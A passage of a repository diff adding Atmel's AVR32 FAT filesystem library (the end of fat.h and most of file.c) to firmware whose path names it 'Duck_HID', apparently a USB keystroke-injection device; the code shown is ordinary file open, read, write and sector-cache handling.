//! To take time in functions: fat_getfreespace, fat_cluster_list, fat_cluster_val, fat_checkcluster
|
||||
_GLOBEXT_ _MEM_TYPE_FAST_ Fs_cluster fs_g_cluster;
|
||||
|
||||
#if (FS_LEVEL_FEATURES > FSFEATURE_READ)
|
||||
//! \name Variables used to update the second FAT zone
|
||||
//! @{
|
||||
_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_g_u32_first_mod_fat; //!< Offset (unit 512B) in fat of the first sector (unit 512B)
|
||||
_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_g_u32_last_mod_fat; //!< Offset (unit 512B) in fat of the last sector (unit 512B)
|
||||
//! @}
|
||||
#endif // FS_LEVEL_FEATURES
|
||||
|
||||
//! \name Variables used to manage the sector cache
|
||||
//! @{
|
||||
_GLOBEXT_ _MEM_TYPE_SLOW_ uint8_t fs_g_sector[ FS_CACHE_SIZE ];
|
||||
_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_sector_cache fs_g_sectorcache;
|
||||
_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_gu32_addrsector; //!< Store the address of futur cache (unit 512B)
|
||||
typedef uint8_t _MEM_TYPE_SLOW_ * PTR_CACHE;
|
||||
//!}@
|
||||
|
||||
|
||||
|
||||
|
||||
//! \name Functions to verify navigator state
|
||||
//! @{
|
||||
Bool fat_check_device ( void );
|
||||
Bool fat_check_mount ( void );
|
||||
Bool fat_check_noopen ( void );
|
||||
Bool fat_check_open ( void );
|
||||
Bool fat_check_select ( void );
|
||||
Bool fat_check_mount_noopen ( void );
|
||||
Bool fat_check_mount_select_noopen ( void );
|
||||
Bool fat_check_mount_select_open ( void );
|
||||
Bool fat_check_mount_select ( void );
|
||||
Bool fat_check_is_file ( void );
|
||||
//! @}
|
||||
|
||||
//! This function returns the number of partition present on selected drive
|
||||
uint8_t fat_get_nbpartition ( void );
|
||||
|
||||
//! This function mounts a partition
|
||||
Bool fat_mount ( void );
|
||||
|
||||
//! This function formats the drive
|
||||
Bool fat_format ( uint8_t u8_fat_type );
|
||||
|
||||
//! This function reads or writes a serial number
|
||||
Bool fat_serialnumber ( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn );
|
||||
|
||||
|
||||
//! \name Functions to compute free space on a partition
|
||||
//! @{
|
||||
uint32_t fat_getfreespace ( void );
|
||||
uint8_t fat_getfreespace_percent ( void );
|
||||
Bool fat_write_fat32_FSInfo ( uint32_t u32_nb_free_cluster );
|
||||
uint32_t fat_read_fat32_FSInfo ( void );
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Functions to manage the cluster list
|
||||
//! @{
|
||||
Bool fat_cluster_list ( uint8_t opt_action, Bool b_for_file );
|
||||
void fat_cache_clusterlist_reset ( void );
|
||||
Bool fat_cluster_val ( Bool b_mode );
|
||||
Bool fat_cluster_readnext ( void );
|
||||
uint8_t fat_checkcluster ( void );
|
||||
Bool fat_allocfreespace ( void );
|
||||
void fat_clear_info_fat_mod ( void );
|
||||
Bool fat_clear_cluster ( void );
|
||||
Bool fat_update_fat2 ( void );
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Functions to read or to write a file or a directory
|
||||
//! @{
|
||||
Bool fat_read_file ( uint8_t mode );
|
||||
Bool fat_write_file ( uint8_t mode , uint32_t u32_nb_sector_write );
|
||||
Bool fat_read_dir ( void );
|
||||
Bool fat_initialize_dir ( void );
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Functions to manage the entry field (fat.c)
|
||||
//! @{
|
||||
Bool fat_entry_check ( Bool b_type );
|
||||
Bool fat_entry_checkext ( FS_STRING sz_filter );
|
||||
void fat_get_entry_info ( void );
|
||||
Bool fat_entry_is_dir ( void );
|
||||
void fat_clear_entry_info_and_ptr ( void );
|
||||
void fat_write_entry_file ( void );
|
||||
Bool fat_entry_shortname ( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode );
|
||||
Bool fat_entry_longname ( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case );
|
||||
Bool fat_check_eof_name ( uint16_t character );
|
||||
PTR_CACHE fat_get_ptr_entry ( void );
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Functions to manage the entry field (fat_unusual.c)
|
||||
//! @{
|
||||
Bool fat_create_entry_file_name ( FS_STRING sz_name );
|
||||
void fat_get_date ( FS_STRING sz_date , Bool type_date );
|
||||
void fat_set_date ( const FS_STRING sz_date , Bool type_date );
|
||||
Bool fat_delete_file ( Bool b_cluster_list );
|
||||
Bool fat_entry_label ( Bool b_action , FS_STRING sz_label );
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Functions to manage the cache
|
||||
//! @{
|
||||
Bool fat_cache_read_sector ( Bool b_load );
|
||||
void fat_cache_reset ( void );
|
||||
void fat_cache_clear ( void );
|
||||
void fat_cache_mark_sector_as_dirty( void );
|
||||
Bool fat_cache_flush ( void );
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Functions to control access disk
|
||||
//! @{
|
||||
#if (FS_NB_NAVIGATOR > 1)
|
||||
Bool fat_check_nav_access_disk ( void );
|
||||
Bool fat_check_nav_access_file ( Bool mode );
|
||||
#else
|
||||
# define fat_check_nav_access_disk(b) (true) //! In case of one navigator, function not used
|
||||
# define fat_check_nav_access_file(b) (true) //! In case of one navigator, function not used
|
||||
#endif
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Functions to manage navigator switch
|
||||
//! @{
|
||||
#if (FS_NB_NAVIGATOR > 1)
|
||||
void fat_invert_nav ( uint8_t u8_idnav );
|
||||
void fat_copy_nav ( uint8_t u8_idnav );
|
||||
#else
|
||||
# define fat_invert_nav ( arg ) (arg++) //! In case of one navigator, function not used
|
||||
# define fat_copy_nav ( arg ) (arg++) //! In case of one navigator, function not used
|
||||
#endif
|
||||
//! @}
|
||||
|
||||
#endif // _FAT_H_
|
2499
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat_unusual.c
Executable file
2499
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat_unusual.c
Executable file
File diff suppressed because it is too large
Load diff
765
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.c
Executable file
765
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.c
Executable file
|
@ -0,0 +1,765 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief FAT 12/16/32 Services.
|
||||
*
|
||||
* This file defines a useful set of functions for the file accesses on
|
||||
* AVR32 devices.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
//_____ I N C L U D E S ___________________________________________________
|
||||
#include "conf_explorer.h"
|
||||
#include "file.h"
|
||||
#include "navigation.h"
|
||||
#include LIB_MEM
|
||||
#include LIB_CTRLACCESS
|
||||
|
||||
|
||||
//_____ D E C L A R A T I O N S ____________________________________________
|
||||
|
||||
//! Use "FAT sector cache" to store a sector from a file (see file_putc(), file_getc(), file_read_buf(), file_write_buf())
|
||||
#if (defined __GNUC__) && (defined __AVR32__)
|
||||
__attribute__((__aligned__(4)))
|
||||
#elif (defined __ICCAVR32__)
|
||||
#pragma data_alignment = 4
|
||||
#endif
|
||||
extern _MEM_TYPE_SLOW_ uint8_t fs_g_sector[ FS_CACHE_SIZE ];
|
||||
|
||||
static void file_load_segment_value( Fs_file_segment _MEM_TYPE_SLOW_ *segment );
|
||||
|
||||
|
||||
|
||||
//! This function checks if a file is selected
|
||||
//!
|
||||
//! @return true, a file is selected
|
||||
//! @return false, otherwise
|
||||
//!
|
||||
Bool file_ispresent( void )
|
||||
{
|
||||
if( !fat_check_mount_select() )
|
||||
return false;
|
||||
return fat_check_is_file();
|
||||
}
|
||||
|
||||
|
||||
//! This function opens the selected file
|
||||
//!
|
||||
//! @param fopen_mode option to open the file : <br>
|
||||
//! FOPEN_MODE_R R access, flux pointer = 0, size not modify <br>
|
||||
//! FOPEN_MODE_R_PLUS R/W access, flux pointer = 0, size not modify <br>
|
||||
//! FOPEN_MODE_W W access, flux pointer = 0, size = 0 <br>
|
||||
//! FOPEN_MODE_W_PLUS R/W access, flux pointer = 0, size = 0 <br>
|
||||
//! FOPEN_MODE_APPEND W access, flux pointer = at the end, size not modify <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool file_open( uint8_t fopen_mode )
|
||||
{
|
||||
if( !fat_check_mount_select_noopen())
|
||||
return false;
|
||||
|
||||
if( !fat_check_is_file())
|
||||
return false;
|
||||
|
||||
if(FOPEN_WRITE_ACCESS & fopen_mode)
|
||||
{
|
||||
if( !fat_check_nav_access_file( true ) )
|
||||
return false;
|
||||
#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE))
|
||||
if (FS_ATTR_READ_ONLY & fs_g_nav_entry.u8_attr)
|
||||
{
|
||||
fs_g_status = FS_ERR_READ_ONLY; // File is read only
|
||||
return false;
|
||||
}
|
||||
if( mem_wr_protect( fs_g_nav.u8_lun ))
|
||||
{
|
||||
fs_g_status = FS_LUN_WP; // Disk read only
|
||||
return false;
|
||||
}
|
||||
#else
|
||||
fs_g_status = FS_ERR_MODE_NOAVIALABLE;
|
||||
return false;
|
||||
#endif // FS_LEVEL_FEATURES
|
||||
}
|
||||
else
|
||||
{
|
||||
if( !fat_check_nav_access_file( false ) )
|
||||
return false;
|
||||
}
|
||||
|
||||
if(FOPEN_CLEAR_SIZE & fopen_mode)
|
||||
{
|
||||
fs_g_nav_entry.u32_size = 0; // The size is null
|
||||
}
|
||||
if(FOPEN_CLEAR_PTR & fopen_mode)
|
||||
{
|
||||
fs_g_nav_entry.u32_pos_in_file = 0;
|
||||
}
|
||||
else
|
||||
{ // Go to at the end of file
|
||||
fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size;
|
||||
}
|
||||
fs_g_nav_entry.u8_open_mode = fopen_mode;
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
//! This function stores the global segment variable in other variable
|
||||
//!
|
||||
//! @param segment Pointer on the variable to fill
|
||||
//!
|
||||
static void file_load_segment_value( Fs_file_segment _MEM_TYPE_SLOW_ *segment )
|
||||
{
|
||||
segment->u8_lun = fs_g_nav.u8_lun;
|
||||
segment->u32_addr = fs_g_seg.u32_addr;
|
||||
segment->u16_size = fs_g_seg.u32_size_or_pos;
|
||||
}
|
||||
|
||||
|
||||
//! This function returns a segment (position & size) in a physical memory corresponding at the file
|
||||
//!
|
||||
//! @param segment Pointer on the segment structure: <br>
|
||||
//! ->u32_size_or_pos IN, shall contains maximum number of sector to read in file (0 = unlimited) <br>
|
||||
//! ->u32_size_or_pos OUT, containt the segment size (unit sector) <br>
|
||||
//! ->other IN, ignored <br>
|
||||
//! ->other OUT, contains the segment position <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This routine is interesting to read a file via a DMA and avoid the file system decode
|
||||
//! because this routine returns a physical memory segment without File System information.
|
||||
//! Note: the file can be fragmented and you must call file_read() for each fragments.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool file_read( Fs_file_segment _MEM_TYPE_SLOW_ *segment )
|
||||
{
|
||||
uint8_t u8_nb_sector_truncated;
|
||||
|
||||
if( !fat_check_mount_select_open())
|
||||
return false;
|
||||
|
||||
if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode))
|
||||
{
|
||||
fs_g_status = FS_ERR_WRITE_ONLY;
|
||||
return false;
|
||||
}
|
||||
|
||||
if ( file_eof() )
|
||||
{
|
||||
// End of the file
|
||||
fs_g_status = FS_ERR_EOF;
|
||||
return false;
|
||||
}
|
||||
|
||||
if( !fat_read_file(FS_CLUST_ACT_SEG))
|
||||
{
|
||||
if( FS_ERR_OUT_LIST == fs_g_status )
|
||||
fs_g_status = FS_ERR_EOF; // translate the error
|
||||
return false;
|
||||
}
|
||||
// If the segment is too large then truncate it
|
||||
if( (segment->u16_size != 0) // if no limit then no truncate
|
||||
&& (segment->u16_size < fs_g_seg.u32_size_or_pos) )
|
||||
{
|
||||
u8_nb_sector_truncated = fs_g_seg.u32_size_or_pos - segment->u16_size;
|
||||
fs_g_seg.u32_size_or_pos = segment->u16_size ;
|
||||
}else{
|
||||
u8_nb_sector_truncated = 0;
|
||||
}
|
||||
|
||||
// Update file position
|
||||
fs_g_nav_entry.u32_pos_in_file += (uint32_t)fs_g_seg.u32_size_or_pos * FS_512B;
|
||||
if( fs_g_nav_entry.u32_size < fs_g_nav_entry.u32_pos_in_file )
|
||||
{
|
||||
// The segment is more larger then file
|
||||
// case possible: if the file don't use all cluster space
|
||||
// then compute sectors not used in last cluster of file cluster list
|
||||
uint8_t u8_nb_sector_not_used;
|
||||
|
||||
// Compute the number of sector used in last cluster
|
||||
// remark: also the two first bytes of size is used, because the cluster size can't be more larger then 64KB
|
||||
u8_nb_sector_not_used = LSB1( fs_g_nav_entry.u32_size ) >> (FS_512B_SHIFT_BIT-8);
|
||||
if( 0 != (fs_g_nav_entry.u32_size & FS_512B_MASK) )
|
||||
{ // last sector of file isn't full, but it must been read
|
||||
u8_nb_sector_not_used++;
|
||||
}
|
||||
|
||||
// Compute the number of sector not used in last cluster
|
||||
u8_nb_sector_not_used = fs_g_nav.u8_BPB_SecPerClus - (u8_nb_sector_not_used % fs_g_nav.u8_BPB_SecPerClus);
|
||||
// if all space of cluster isn't used, then it is wrong
|
||||
if( u8_nb_sector_not_used == fs_g_nav.u8_BPB_SecPerClus )
|
||||
u8_nb_sector_not_used = 0; // The file uses all last cluster space
|
||||
|
||||
// Subtract this value a the file position and segment size
|
||||
u8_nb_sector_not_used -= u8_nb_sector_truncated;
|
||||
fs_g_seg.u32_size_or_pos -= u8_nb_sector_not_used; // unit sector
|
||||
fs_g_nav_entry.u32_pos_in_file -= ((uint16_t)u8_nb_sector_not_used) << FS_512B_SHIFT_BIT; // unit byte
|
||||
}
|
||||
file_load_segment_value( segment );
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
//! This function copys in a buffer the file data corresponding at the current position
|
||||
//!
|
||||
//! @param buffer buffer to fill
|
||||
//! @param u16_buf_size buffer size
|
||||
//!
|
||||
//! @return number of byte read
|
||||
//! @return 0, in case of error
|
||||
//!
|
||||
uint16_t file_read_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size )
|
||||
{
|
||||
_MEM_TYPE_FAST_ uint16_t u16_nb_read_tmp;
|
||||
_MEM_TYPE_FAST_ uint16_t u16_nb_read;
|
||||
_MEM_TYPE_FAST_ uint16_t u16_pos_in_sector;
|
||||
_MEM_TYPE_FAST_ uint32_t u32_byte_remaining;
|
||||
|
||||
if( !fat_check_mount_select_open())
|
||||
return false;
|
||||
|
||||
if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode))
|
||||
{
|
||||
fs_g_status = FS_ERR_WRITE_ONLY;
|
||||
return false;
|
||||
}
|
||||
|
||||
u16_nb_read = 0;
|
||||
|
||||
while( 0 != u16_buf_size )
|
||||
{
|
||||
if ( file_eof() )
|
||||
{
|
||||
fs_g_status = FS_ERR_EOF;
|
||||
return u16_nb_read; // End of the file
|
||||
}
|
||||
u32_byte_remaining = fs_g_nav_entry.u32_size-fs_g_nav_entry.u32_pos_in_file;
|
||||
u16_pos_in_sector = fs_g_nav_entry.u32_pos_in_file % FS_512B;
|
||||
|
||||
if( (0== u16_pos_in_sector)
|
||||
&& (FS_512B <= u32_byte_remaining)
|
||||
&& (FS_512B <= u16_buf_size)
|
||||
#if (defined __GNUC__) && (defined __AVR32__) || (defined __ICCAVR32__)
|
||||
&& (Test_align((uint32_t)buffer, sizeof(uint32_t)))
|
||||
#endif
|
||||
)
|
||||
{
|
||||
// The file data sector can been directly transfer from memory to buffer (don't use internal cache)
|
||||
if( u16_buf_size <= u32_byte_remaining)
|
||||
{
|
||||
u16_nb_read_tmp = u16_buf_size;
|
||||
}else{
|
||||
u16_nb_read_tmp = u32_byte_remaining;
|
||||
}
|
||||
u16_nb_read_tmp = u16_nb_read_tmp / FS_512B; // read a modulo sector size
|
||||
|
||||
// Get following sector segment of file
|
||||
if( !fat_read_file(FS_CLUST_ACT_SEG))
|
||||
{
|
||||
if( FS_ERR_OUT_LIST == fs_g_status )
|
||||
fs_g_status = FS_ERR_EOF; // translate the error
|
||||
return u16_nb_read;
|
||||
}
|
||||
// Truncate the segment size found if more larger than asked size
|
||||
if( u16_nb_read_tmp > fs_g_seg.u32_size_or_pos )
|
||||
{
|
||||
u16_nb_read_tmp = fs_g_seg.u32_size_or_pos;
|
||||
}else{
|
||||
fs_g_seg.u32_size_or_pos = u16_nb_read_tmp;
|
||||
}
|
||||
|
||||
// Directly data tranfert from memory to buffer
|
||||
while( 0 != fs_g_seg.u32_size_or_pos )
|
||||
{
|
||||
if( CTRL_GOOD != memory_2_ram( fs_g_nav.u8_lun , fs_g_seg.u32_addr, buffer))
|
||||
{
|
||||
fs_g_status = FS_ERR_HW;
|
||||
return u16_nb_read;
|
||||
}
|
||||
fs_g_seg.u32_size_or_pos--;
|
||||
fs_g_seg.u32_addr++;
|
||||
buffer += FS_512B;
|
||||
}
|
||||
// Translate from sector unit to byte unit
|
||||
u16_nb_read_tmp *= FS_512B;
|
||||
}
|
||||
else
|
||||
{
|
||||
// The file data can't been directly transfer from memory to buffer, the internal cache must be used
|
||||
|
||||
// Tranfer data from memory to internal cache
|
||||
if( !fat_read_file( FS_CLUST_ACT_ONE ))
|
||||
{
|
||||
if( FS_ERR_OUT_LIST == fs_g_status )
|
||||
{ // Translate the error
|
||||
fs_g_status = FS_ERR_EOF; // End of file
|
||||
}
|
||||
return u16_nb_read;
|
||||
}
|
||||
|
||||
// Compute the number of data to transfer
|
||||
u16_nb_read_tmp = FS_512B - u16_pos_in_sector; // The number is limited at sector size
|
||||
if( u16_nb_read_tmp > u32_byte_remaining )
|
||||
u16_nb_read_tmp = u32_byte_remaining;
|
||||
if( u16_nb_read_tmp > u16_buf_size )
|
||||
u16_nb_read_tmp = u16_buf_size;
|
||||
|
||||
// Tranfer data from internal cache to buffer
|
||||
memcpy_ram2ram( buffer , &fs_g_sector[ u16_pos_in_sector ], u16_nb_read_tmp );
|
||||
buffer += u16_nb_read_tmp;
|
||||
}
|
||||
// Update positions
|
||||
fs_g_nav_entry.u32_pos_in_file += u16_nb_read_tmp;
|
||||
u16_nb_read += u16_nb_read_tmp;
|
||||
u16_buf_size -= u16_nb_read_tmp;
|
||||
}
|
||||
return u16_nb_read; // Buffer is full
|
||||
}
|
||||
|
||||
|
||||
//! This function returns the next byte of file
|
||||
//!
|
||||
//! @return The byte readed
|
||||
//! @return EOF, in case of error or end of file
|
||||
//!
|
||||
uint16_t file_getc( void )
|
||||
{
|
||||
uint16_t u16_byte;
|
||||
|
||||
while(1)
|
||||
{
|
||||
if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode))
|
||||
{
|
||||
fs_g_status = FS_ERR_WRITE_ONLY;
|
||||
break;
|
||||
}
|
||||
if( fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file )
|
||||
{
|
||||
fs_g_status = FS_ERR_EOF;
|
||||
break;
|
||||
}
|
||||
|
||||
if( !fat_read_file( FS_CLUST_ACT_ONE ))
|
||||
{
|
||||
if( FS_ERR_OUT_LIST == fs_g_status )
|
||||
{ // Translate the error
|
||||
fs_g_status = FS_ERR_EOF; // End of file
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
u16_byte = fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ];
|
||||
fs_g_nav_entry.u32_pos_in_file++;
|
||||
return u16_byte;
|
||||
}
|
||||
return FS_EOF; // No data readed
|
||||
}
|
||||
|
||||
|
||||
#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE))
|
||||
//! This function allocs and returns a segment (position & size) in a physical memory corresponding at the file
|
||||
//!
|
||||
//! @param segment Pointer on the segment structure: <br>
|
||||
//! ->u32_size_or_pos IN, shall contains the maximum number of sector to write in file <br>
|
||||
//! ->u32_size_or_pos OUT, contains the segment size (unit sector) <br>
|
||||
//! ->other IN, ignored <br>
|
||||
//! ->other OUT, contains the segment position <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This routine is interesting to write a file via a DMA and avoid the file system decode
|
||||
//! because this routine returns a physical memory segment without File System information.
|
||||
//! Note: the file can be fragmented and you must call file_write() for each fragments.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool file_write( Fs_file_segment _MEM_TYPE_SLOW_ *segment )
|
||||
{
|
||||
if( !fat_check_mount_select_open())
|
||||
return false;
|
||||
|
||||
if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode))
|
||||
{
|
||||
fs_g_status = FS_ERR_READ_ONLY;
|
||||
return false;
|
||||
}
|
||||
|
||||
if( !fat_write_file( FS_CLUST_ACT_SEG , segment->u16_size ))
|
||||
return false;
|
||||
|
||||
// If the segment is too large then truncate it
|
||||
if( (segment->u16_size != 0) // if not undefine limit
|
||||
&& (segment->u16_size < fs_g_seg.u32_size_or_pos) )
|
||||
{
|
||||
fs_g_seg.u32_size_or_pos = segment->u16_size ;
|
||||
}
|
||||
|
||||
// Update file position
|
||||
fs_g_nav_entry.u32_pos_in_file += ((uint32_t)fs_g_seg.u32_size_or_pos * FS_512B);
|
||||
|
||||
// Update size file
|
||||
if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size )
|
||||
{
|
||||
fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file;
|
||||
}
|
||||
file_load_segment_value( segment );
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
//! This function sets the end of file at the current position
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This routine is usualy used after the last file_write() call.
|
||||
//! The file_write() routine uses the sector unit (512B),
|
||||
//! and you can set a specific byte size with a file_seek() call and fiel_set_eof() call.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool file_set_eof( void )
|
||||
{
|
||||
if( !fat_check_mount_select_open())
|
||||
return false;
|
||||
|
||||
if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode))
|
||||
{
|
||||
fs_g_status = FS_ERR_READ_ONLY;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Update the file size
|
||||
fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file;
|
||||
|
||||
if( !fat_read_file( FS_CLUST_ACT_CLR ))
|
||||
return false;
|
||||
|
||||
return fat_cache_flush();
|
||||
}
|
||||
|
||||
|
||||
//! This function transfer a buffer to a file at the current file position
|
||||
//!
|
||||
//! @param buffer data buffer
|
||||
//! @param u16_buf_size data size
|
||||
//!
|
||||
//! @return number of byte write
|
||||
//! @return 0, in case of error
|
||||
//!
|
||||
uint16_t file_write_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size )
|
||||
{
|
||||
_MEM_TYPE_FAST_ uint16_t u16_nb_write_tmp;
|
||||
_MEM_TYPE_FAST_ uint16_t u16_nb_write;
|
||||
_MEM_TYPE_FAST_ uint16_t u16_pos_in_sector;
|
||||
|
||||
if( !fat_check_mount_select_open())
|
||||
return false;
|
||||
|
||||
if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode))
|
||||
{
|
||||
fs_g_status = FS_ERR_READ_ONLY;
|
||||
return false;
|
||||
}
|
||||
|
||||
u16_nb_write = 0;
|
||||
|
||||
while( 0 != u16_buf_size )
|
||||
{
|
||||
// The file data sector can been directly transfer from buffer to memory (don't use internal cache)
|
||||
u16_pos_in_sector = fs_g_nav_entry.u32_pos_in_file % FS_512B;
|
||||
if( (0== u16_pos_in_sector)
|
||||
&& (FS_512B <= u16_buf_size)
|
||||
#if (defined __GNUC__) && (defined __AVR32__) || (defined __ICCAVR32__)
|
||||
&& (Test_align((uint32_t)buffer, sizeof(uint32_t)))
|
||||
#endif
|
||||
)
|
||||
{
|
||||
u16_nb_write_tmp = u16_buf_size / FS_512B; // read a modulo sector size
|
||||
|
||||
// Get and eventually alloc the following sector segment of file
|
||||
if( !fat_write_file( FS_CLUST_ACT_SEG , u16_nb_write_tmp ))
|
||||
return false;
|
||||
// Truncate the segment found if more larger than asked size
|
||||
if( u16_nb_write_tmp < fs_g_seg.u32_size_or_pos)
|
||||
{
|
||||
fs_g_seg.u32_size_or_pos = u16_nb_write_tmp;
|
||||
}else{
|
||||
u16_nb_write_tmp = fs_g_seg.u32_size_or_pos;
|
||||
}
|
||||
|
||||
// Directly data tranfert from buffer to memory
|
||||
while( 0 != fs_g_seg.u32_size_or_pos )
|
||||
{
|
||||
if( CTRL_GOOD != ram_2_memory( fs_g_nav.u8_lun , fs_g_seg.u32_addr, buffer))
|
||||
{
|
||||
fs_g_status = FS_ERR_HW;
|
||||
return u16_nb_write;
|
||||
}
|
||||
fs_g_seg.u32_size_or_pos--;
|
||||
fs_g_seg.u32_addr++;
|
||||
buffer += FS_512B;
|
||||
}
|
||||
// Translate from sector unit to byte unit
|
||||
u16_nb_write_tmp *= FS_512B;
|
||||
}
|
||||
else
|
||||
{
|
||||
// The file data can't been directly transfer from buffer to memory, the internal cache must be used
|
||||
|
||||
// Tranfer and eventually alloc a data sector from internal cache to memory
|
||||
if((fs_g_nav_entry.u32_pos_in_file == fs_g_nav_entry.u32_size)
|
||||
&& (0==u16_pos_in_sector) )
|
||||
{
|
||||
// Eventually alloc one new sector for the file
|
||||
if( !fat_write_file( FS_CLUST_ACT_SEG , 1 ))
|
||||
return false;
|
||||
// Update the cache
|
||||
fs_gu32_addrsector = fs_g_seg.u32_addr;
|
||||
if( !fat_cache_read_sector( false )) // The memory is not readed because it is a new sector
|
||||
return false;
|
||||
}else{
|
||||
// The sector must existed then alloc no necessary
|
||||
if( !fat_write_file( FS_CLUST_ACT_ONE , 1 ))
|
||||
return false;
|
||||
}
|
||||
|
||||
// Flag internal cache modified
|
||||
fat_cache_mark_sector_as_dirty();
|
||||
|
||||
// Compute the number of data to transfer
|
||||
u16_nb_write_tmp = FS_512B - u16_pos_in_sector; // The number is limited at sector size
|
||||
if( u16_nb_write_tmp > u16_buf_size )
|
||||
u16_nb_write_tmp = u16_buf_size;
|
||||
|
||||
// Tranfer data from buffer to internal cache
|
||||
memcpy_ram2ram( &fs_g_sector[ u16_pos_in_sector ], buffer , u16_nb_write_tmp );
|
||||
buffer += u16_nb_write_tmp;
|
||||
}
|
||||
// Update positions
|
||||
fs_g_nav_entry.u32_pos_in_file+= u16_nb_write_tmp;
|
||||
u16_nb_write += u16_nb_write_tmp;
|
||||
u16_buf_size -= u16_nb_write_tmp;
|
||||
// Update file size
|
||||
if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size )
|
||||
{
|
||||
fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file;
|
||||
}
|
||||
}
|
||||
return u16_nb_write; // All buffer is writed
|
||||
}
|
||||
|
||||
|
||||
//! This function writes a byte in the file
|
||||
//!
|
||||
//! @param u8_byte byte to write
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
